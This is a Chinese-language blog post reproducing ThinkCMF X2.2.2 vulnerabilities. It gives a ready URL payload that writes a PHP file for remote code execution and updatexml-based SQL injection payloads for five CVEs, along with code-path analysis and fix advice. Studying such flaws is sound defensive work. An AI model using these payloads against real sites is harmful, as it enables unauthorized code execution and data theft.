ThinkCMF X2.2.2漏洞复现

admin 2021-05-15 PM 78℃ 0条

一、漏洞简介

  ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本。本文中涉及有CVE-2018-19894、CVE-2018-19895、CVE-2018-19896、CVE-2018-19897、CVE-2018-19898。

二、搭建环境

  采用windows 10+NGINX+MySQL+ThinkCMF X2.2.2,采用WNMP集成环境。
安装协议
安装检测
安装成功
浏览首页

三、漏洞概述

  远程攻击者在无需任何权限情况下,攻击者可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,即可在远程服务器上执行任意代码。通过构造a参数的fetch方法,可以不需要知道文件路径就可以把php代码写入文件。

四、远程代码执行漏洞利用

  下面是PHP查看配置函数phpinfo()写入test.php文件的payload样例
  http://www.example.com/?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>
  注:执行payload,页面将是空白的,无任何回显
  验证是否执行成功
php

五、漏洞修复

  将 HomebaseController.class.php和AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改为 protected

四、多处SQL漏洞利用

  3.1 CommentadminController.class.php check、delete方法SQL注入(CVE-2018-19894)
  漏洞位于/application/Comment/Controller/CommentadminController.class.php的check、delete方法, 以62行为例,$_POST['ids']参数通过join后,传递到where语句中,但并没有使用where语句的in方法,而是直接拼接到SQL语句中,导致SQL注入。CVE-2018-19894
  测试Pyload为
  http://www.example.com/index.php?g=Comment&m=commentadmin&a=check&check=1
  POST参数:ids[]=1&ids[]=2 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
CVE-2018-19894
  3.2 NavController.class.php中edit_post方法SQL注入(CVE-2018-19895)
  跟进application/Admin/Controller/NavController.class.php,在文件的173行。$parentid直接由$_POST['parentid']传递进来,随后被直接拼接到where语句中。CVE-2018-19895
  测试Payload为
  http://www.example.com/index.php?g=Admin&m=nav&a=edit_post
  POST: parentid=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
CVE-2018-19895
  3.3 SlideController.class.php delete方法SQL注入(CVE-2018-19896)
  在application/Admin/Controller/SlideController.class.php的93行,delete方法中,$_POST['ids']通过implode方法变成字符串,随后直接拼接进入where语句的in子句中。CVE-2018-19896
  测试payload:
  http://127.0.0.1/cmfx/index.php?g=Admin&m=slide&a=delete
  POST: ids[]=1&ids[]=0 and updatexml(1, concat(0x7e,user(),0x7e),1)
CVE-2018-19896
  3.4 AdminbaseController.class.php中_listorders方法存在SQL注入(CVE-2018-19897)
  _listorders方法用于排序,在很多地方被调用。这里以LinkController.class.php中的listorders()为例进行分析,这里主要用做友情链接的排序。我们以phpstorm+phpstudy+ xdebug打下断点,一步步追踪。
  测试payload:
  http://127.0.0.1/cmfx/index.php?g=Admin&m=Link&a=listorders
  POST: listorders[key][0]=exp&listorders[key][12]=0 and updatexml(1, concat(0x7e,user(),0),1)
CVE-2018-19897
  首先进入application/Admin/Controller/LinkController.class.php 70行的listorders方法,71行调用父类的_listorders()方法。540671-20181221122313258-1764716372.png
  跟到application/Admin/Controller/LinkController.class.php 166行的_listorders()方法,$_POST['listorders']为二维数组传递给$ids,经过foreach循环,输入的payload进入$data中,仍然为二维数组,而$data则进入save方法。540671-20181221122313667-1991276914.png
  跟进到simplewind/Core/Library/Think/Model.class.php 396行的save方法,该方法为thinkphp的核心函数。由于$data不为空,跳过之前的很多判断直接到452行,$data和$options进入update方法,$data仍然为二维数组不变。540671-20181221122314112-1772084869.png
  跟进到simplewind/Core/Library/Think/Db/Driver.class.php 893行的update()方法,$data经过parseSet方法后拼接到$sql中。跟到371行parseSet方法的定义,$data经过foreach循环后,$val变为一维数组,$key为键值。而当$val为数组并且数组的第一个元素为exp时,$val[1]会和$key直接用等号拼接传递到$set,387行数组$set被逗号implode后拼接到SET子句中。
540671-20181221122314594-665355731.png
  返回到update方法,SET子句被拼接到$sql中,最终执行的sql语句为UPDATE cmf_links SET listorder=0 and updatexml(1, concat(0x7e,user(),0),1) WHERE link_id = 'key' 540671-20181221122315064-2128793815.png
  3.5 ArticleController.class.php edit_post方法SQL注入(CVE-2018-19898)
  ThinkCMF X2.2.2是基于ThinkPHP 3.2.3开发的,ThinkPHP 3.x版本之前被爆出存在bind注入,这个漏洞就是ThinkPHP3.x注入的典型案例。漏洞位于前台文章编辑处。
  测试payload:
  http://127.0.0.1/cmfx/index.php?g=portal&m=article&a=edit_post
  POST: post[id][0]=bind&post[id][19]=0 and updatexml(1, concat(0x7e,user(),0x7e),1)-- -
  在application/Portal/Controller/ArticleController.class.php 182行,输入的参数通过I("post.post")传递到$article;跟进到/simplewind/Core/Common/functions.php的I方法定义,在428行,会调用think_filter方法对参数进行过滤。CVE-2018-19898
   由于正则字符中没有匹配bind,所以导致了后面的注入漏洞,ThinkPHP官方的修复措施就是在此处匹配时加上了bind。接下来进入典型的数据库更新操作了,$articles为多维数组包含payload。540671-20181221122315901-1615762106.png
  我们F7继续跟进,会进入simplewind/Core/Library/Think/Model.class.php的where方法,给$this->options['where']赋值后,返回当前对象。随后进入simplewind/Core/Library/Think/Model.class.php的save方法,随后执行到update方法
540671-20181221122316344-743604678.png
  继续往下,进入到parseSet方法,可以看到传递的参数在进行参数绑定操作,其中时间字符串被赋于占位符0,此处会进行循环操作,将所有的参数进行绑定。540671-20181221122316805-846763909.png
  随后进入parseWhere函数。540671-20181221122318031-1722288422.png
  分析parseWhere后,发现会执行 parseWhereItem方法,当$exp=='bind'的时候即$val[0]=='bind',会对$val[1]进行拼接,仔细看这里会多一个:,表示为参数绑定时的占位符。540671-20181221122318471-842817721.png
  这里也就理解为什么第二个数组构造的时候需要添加一个数字0,这是由于parseSet方法以及赋值了一个占位符:0,用来替代时间字符串,在随后的SQL语句执行阶段可被用来赋值,否则占位符没被赋值会因语法问题产生报错。540671-20181221122318871-1639068235.png
  随后可以看到bindValue将:0绑定为时间字符串,实际上这里有三个参数需要绑定,因此第二个数组的首位值可以为0、1、2。
540671-20181221122319282-775974872.png
  执行时产生XPATH异常报错,得到我们想要的数据。540671-20181221122319661-538044586.png
  4.修复建议
  由于ThinkCMF X系列在2.2.2版本后已经不再更新,建议用户及时升级到Think CMF5。

标签: ThinkCMF

非特殊说明,本博所有文章均为博主原创。

评论啦~